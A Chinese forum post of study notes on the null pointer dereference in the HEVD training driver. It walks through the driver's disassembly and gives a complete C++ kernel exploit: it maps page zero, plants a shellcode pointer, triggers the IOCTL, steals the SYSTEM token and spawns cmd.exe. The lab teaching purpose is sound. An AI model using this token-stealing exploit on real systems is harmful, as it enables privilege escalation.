首页
社区
课程
招聘
[原创]]HEVD学习笔记之空指针引用
2021-11-10 10:05 15758

[原创]]HEVD学习笔记之空指针引用

2021-11-10 10:05
15758

HEVD的介绍与实验环境请看:HEVD学习笔记之概述

一.漏洞原理

申请内存使用完以后,程序会对该内存进行释放并将指针清空,如果此时在对这个指针进行使用,就很有可能发送错误。比如下面的程序:

#include <windows.h>
#include <cstdio>

typedef void(* pFuncAddr)();

void test()
{
	printf("test\n");
}

int main()
{
	PDWORD func = (PDWORD)malloc(4);
	
	*func = (DWORD)test;
	((pFuncAddr)*func)();

	free(func);
	func = NULL;

	((pFuncAddr)*func)();

    return 0;
}

在释放掉func的内存并将其清空以后再次对它进行调用程序就会发送错误

二.漏洞分析

该漏洞在函数地址表中的第11个,也就是说要触发该漏洞,IOCTL要等于0x222003 + 10 * 4。

PAGE:00444213 loc_444213:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:00444213                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:00444213                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236459
PAGE:00444219                 push    offset aHevdIoctlNullP ; "****** HEVD_IOCTL_NULL_POINTER_DEREFERE"...
PAGE:0044421E                 push    3               ; Level
PAGE:00444220                 push    4Dh             ; ComponentId
PAGE:00444222                 call    esi ; DbgPrintEx
PAGE:00444224                 add     esp, 0Ch
PAGE:00444227                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:00444228                 push    edi             ; 将IRP的指针入栈
PAGE:00444229                 call    NullPointerDereferenceIoctlHandler
PAGE:0044422E                 push    offset aHevdIoctlNullP ; "****** HEVD_IOCTL_NULL_POINTER_DEREFERE"...
PAGE:00444233                 jmp     loc_4440BF

此处将IRP和CurrentStackLocation入栈以后就调用了NullPointerDereferenceIoctrlHandler函数,继续跟进这个函数。

PAGE:00445AAA NullPointerDereferenceIoctlHandler proc near
PAGE:00445AAA                                         ; CODE XREF: DispatchIoCtrl+1C5↑p
PAGE:00445AAA
PAGE:00445AAA arg_4           = dword ptr  0Ch
PAGE:00445AAA
PAGE:00445AAA                 push    ebp
PAGE:00445AAB                 mov     ebp, esp
PAGE:00445AAD                 mov     eax, [ebp+arg_4]
PAGE:00445AB0                 mov     ecx, STATUS_UNSUCCESSFUL
PAGE:00445AB5                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
PAGE:00445AB8                 test    eax, eax
PAGE:00445ABA                 jz      short loc_445AC4
PAGE:00445ABC                 push    eax             ; void *
PAGE:00445ABD                 call    TriggerNullPointerDerenference
PAGE:00445AC2                 mov     ecx, eax
PAGE:00445AC4
PAGE:00445AC4 loc_445AC4:                             ; CODE XREF: NullPointerDereferenceIoctlHandler+10↑j
PAGE:00445AC4                 mov     eax, ecx
PAGE:00445AC6                 pop     ebp
PAGE:00445AC7                 retn    8
PAGE:00445AC7 NullPointerDereferenceIoctlHandler endp

该函数将输入缓冲区指针入栈以后调用TriggerNullPointerDerenference。

PAGE:00445ADE ; int __stdcall TriggerNullPointerDerenference(void *)
PAGE:00445ADE TriggerNullPointerDerenference proc near
PAGE:00445ADE                                         ; CODE XREF: NullPointerDereferenceIoctlHandler+13↑p
PAGE:00445ADE
PAGE:00445ADE var_1C          = dword ptr -1Ch
PAGE:00445ADE ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00445ADE arg_InputBuffer = dword ptr  8
PAGE:00445ADE
PAGE:00445ADE                 push    0Ch
PAGE:00445AE0                 push    offset stru_4024C0
PAGE:00445AE5                 call    __SEH_prolog4
PAGE:00445AEA                 xor     ebx, ebx        ; ebx清0
PAGE:00445AEC                 mov     [ebp+ms_exc.registration.TryLevel], ebx
PAGE:00445AEF                 push    1               ; Alignment
PAGE:00445AF1                 push    8               ; Length
PAGE:00445AF3                 push    [ebp+arg_InputBuffer] ; Address
PAGE:00445AF6                 call    ds:ProbeForRead
PAGE:00445AFC                 push    'kcaH'          ; Tag
PAGE:00445B01                 push    8               ; NumberOfBytes
PAGE:00445B03                 push    ebx             ; PoolType
PAGE:00445B04                 call    ds:ExAllocatePoolWithTag
PAGE:00445B0A                 mov     edi, eax        ; 将申请到的内存地址赋给edi
PAGE:00445B0C                 test    edi, edi        ; 内存分配是否成功
PAGE:00445B0E                 jnz     short loc_445B33 ; 成功则跳转
PAGE:00445B10                 push    offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk\n"
PAGE:00445B15                 push    3               ; Level
PAGE:00445B17                 push    4Dh             ; ComponentId
PAGE:00445B19                 call    ds:DbgPrintEx
PAGE:00445B1F                 add     esp, 0Ch
PAGE:00445B22                 mov     dword ptr [ebp-4], 0FFFFFFFEh
PAGE:00445B29                 mov     eax, STATUS_NO_MEMORY
PAGE:00445B2E                 jmp     loc_445C56

在该函数中会申请0x8大小,tag为"Hack"的内存,将其地址赋给edi。

PAGE:00445B75                 mov     eax, [ebp+arg_InputBuffer] ; 将输入缓冲区指针赋给eax
PAGE:00445B78                 mov     esi, [eax]      ; 将输入缓冲区前4字节的内容赋给esi
PAGE:00445B7A                 push    esi
PAGE:00445B7B                 push    offset aUservalue0xP ; "[+] UserValue: 0x%p\n"
PAGE:00445B80                 push    3               ; Level
PAGE:00445B82                 push    4Dh             ; ComponentId
PAGE:00445B84                 call    ds:DbgPrintEx
PAGE:00445B8A                 push    edi
PAGE:00445B8B                 push    offset aNullpointerder ; "[+] NullPointerDereference: 0x%p\n"
PAGE:00445B90                 push    3               ; Level
PAGE:00445B92                 push    4Dh             ; ComponentId
PAGE:00445B94                 call    ds:DbgPrintEx
PAGE:00445B9A                 add     esp, 20h
PAGE:00445B9D                 mov     eax, 0BAD0B0B0h
PAGE:00445BA2                 cmp     esi, eax        ; 比较esi是否等于eax
PAGE:00445BA4                 jnz     short loc_445BD5

如果内存申请成功,函数就会将输入缓冲区中的前4字节取出,判断是否为0x0BAD0B0B0,如果不是是则继续向下执行,对申请到的内存进行赋值

PAGE:00445BA6                 mov     [edi], eax      ; 将申请的内存的前4字节赋值为输入缓冲区指针
PAGE:00445BA8                 mov     dword ptr [edi+4], offset NullPointerDerenferenceObjectCallback ; 申请到的内存的后4字节赋值为函数
PAGE:00445BAF                 push    dword ptr [edi]

此时edi偏移为4的地址保存的函数内容如下,可以看到就是一个简单的输出函数

PAGE:00445ACA NullPointerDerenferenceObjectCallback proc near
PAGE:00445ACA                                         ; DATA XREF: TriggerNullPointerDerenference+CA↓o
PAGE:00445ACA                 push    offset aNullPointerDer ; "[+] Null Pointer Dereference Object Cal"...
PAGE:00445ACF                 push    3               ; Level
PAGE:00445AD1                 push    4Dh             ; ComponentId
PAGE:00445AD3                 call    ds:DbgPrintEx
PAGE:00445AD9                 add     esp, 0Ch
PAGE:00445ADC                 retn
PAGE:00445ADC NullPointerDerenferenceObjectCallback endp

如果不是则会跳转到loc_445BD5处,此处将会把申请的内存释放掉并将edi赋值为ebx,由于ebx在上面清0了,所以此处会将edi清0

PAGE:00445BD5 loc_445BD5:                             ; CODE XREF: TriggerNullPointerDerenference+C6↑j
PAGE:00445BD5                 push    offset aFreeingNullpoi ; "[+] Freeing NullPointerDereference Obje"...
PAGE:00445BDA                 push    3               ; Level
PAGE:00445BDC                 push    4Dh             ; ComponentId
PAGE:00445BDE                 mov     esi, ds:DbgPrintEx
PAGE:00445BE4                 call    esi ; DbgPrintEx
PAGE:00445BE6                 push    offset aKcah    ; "'kcaH'"
PAGE:00445BEB                 push    offset aPoolTagS ; "[+] Pool Tag: %s\n"
PAGE:00445BF0                 push    3               ; Level
PAGE:00445BF2                 push    4Dh             ; ComponentId
PAGE:00445BF4                 call    esi ; DbgPrintEx
PAGE:00445BF6                 push    edi
PAGE:00445BF7                 push    offset aPoolChunk0xP ; "[+] Pool Chunk: 0x%p\n"
PAGE:00445BFC                 push    3               ; Level
PAGE:00445BFE                 push    4Dh             ; ComponentId
PAGE:00445C00                 call    esi ; DbgPrintEx
PAGE:00445C02                 add     esp, 2Ch
PAGE:00445C05                 push    'kcaH'          ; Tag
PAGE:00445C0A                 push    edi             ; P
PAGE:00445C0B                 call    ds:ExFreePoolWithTag
PAGE:00445C11                 mov     edi, ebx        ; 将edi赋值为0

无论走上面的哪个分支,接下来都会走loc_445C13处的代码,此处的代码会对申请的内存的后4字节的内容取出,作为函数地址进行调用

PAGE:00445C13 loc_445C13:                             ; CODE XREF: TriggerNullPointerDerenference+F5↑j
PAGE:00445C13                 push    offset aTriggeringNull ; "[+] Triggering Null Pointer Dereference"...
PAGE:00445C18                 push    3               ; Level
PAGE:00445C1A                 push    4Dh             ; ComponentId
PAGE:00445C1C                 call    esi ; DbgPrintEx
PAGE:00445C1E                 add     esp, 0Ch
PAGE:00445C21                 call    dword ptr [edi+4] ; 调用申请到的内存的后4字节保存的地址
PAGE:00445C24                 jmp     short loc_445C4D

由上可以看到,通过控制输入缓冲区的内容,可以实现在edi等于0的时候,调用edi+4,也就是地址4中保存的函数地址,那如果只是地址4中保存的是我们指定的ShellCode的地址,此时函数就会调用ShellCode。

三.漏洞利用

由上可知,如果输入缓冲区指针保存的内容为0x0BAD0B0B0的时候,程序就会正常调用分配的函数

可如果保存的内容不是0x0BAD0B0B0,程序会将申请的内存释放,并把edi清0,此时执行call [edi + 4]就会执行地址为4中保存的函数指针。如果将它赋值为ShellCode函数地址就可以实现攻击,具体的exp如下

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define INPUT_BUFFER_LENGTH 4
#define PAGE_SIZE 0x1000

void ShowError(PCHAR msg, DWORD ErrorCode);
VOID Ring0ShellCode();

BOOL g_bIsExecute = FALSE;

int main()
{
	NTSTATUS status = STATUS_SUCCESS;
	HANDLE hDevice = NULL;
	DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONST DWORD dwIoCtl = 0x222003 + 10 * 4;
	PVOID ShellCodeAddress = NULL;


	// 获得0地址的内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	status = NtAllocateVirtualMemory(NtCurrentProcess(),
									 &ShellCodeAddress,
									 0,
									 &ShellCodeSize,
									 MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
									 PAGE_EXECUTE_READWRITE);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtAllocateVirtualMemory", status);
		goto exit;
	}

	// 将地址为4的内存赋值为ShellCode函数地址
	*(PDWORD)((DWORD)ShellCodeAddress + 4) = (DWORD)Ring0ShellCode;

	// 打开驱动设备
	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		ShowError("CreateFile", GetLastError());
		goto exit;
	}

	DWORD dwInput = 0;

	dwInput = 0x0BAD0B0B0;
	// 与驱动设备进行交互,正常情况下调用函数
	if (!DeviceIoControl(hDevice,
						 dwIoCtl,
						 &dwInput,
						 INPUT_BUFFER_LENGTH,
						 NULL,
						 0,
						 &dwReturnLength,
						 NULL))
	{
		ShowError("DeviceIoControl", GetLastError());
		goto exit;
	}

	
	dwInput = 0;
	// 与驱动设备进行交互,触发漏洞
	if (!DeviceIoControl(hDevice,
						 dwIoCtl,
						 &dwInput,
						 INPUT_BUFFER_LENGTH,
						 NULL,
						 0,
						 &dwReturnLength,
						 NULL))
	{
		ShowError("DeviceIoControl", GetLastError());
		goto exit;
	}
	

	if (g_bIsExecute)
	{
		printf("Ring0 代码执行完成\n");
		si.cb = sizeof(si);
		if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
						   NULL,
						   NULL,
						   NULL,
						   FALSE,
						   CREATE_NEW_CONSOLE,
						   NULL,
						   NULL,
						   &si,
						   &pi))
		{
			printf("CreateProcess Error\n");
			goto exit;
		}
	}
exit:
	if (hDevice) NtClose(hDevice);
	system("pause");

	return 0;
}

void ShowError(PCHAR msg, DWORD ErrorCode)
{
	printf("%s Error 0x%X\n", msg, ErrorCode);
}

VOID Ring0ShellCode()
{
	// 关闭页保护
	__asm
	{
		cli
		mov eax, cr0
		and eax, ~0x10000
		mov cr0, eax
	}

	__asm
	{
		// 取当前线程
		mov eax, fs:[0x124]
		// 取线程对应的EPROCESS
		mov esi, [eax + 0x150]
		mov eax, esi
	searchWin7:
		mov eax, [eax + 0xB8]
		sub eax, 0x0B8
		mov edx, [eax + 0xB4]
		cmp edx, 0x4
		jne searchWin7
		mov eax, [eax + 0xF8]
		mov [esi + 0xF8], eax
	}

	// 开起页保护
	__asm
	{
		mov eax, cr0
		or eax, 0x10000
		mov cr0, eax
		sti
	}

	g_bIsExecute = TRUE;
}

可以看到程序最终提权成功


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-1-19 17:57 被1900编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回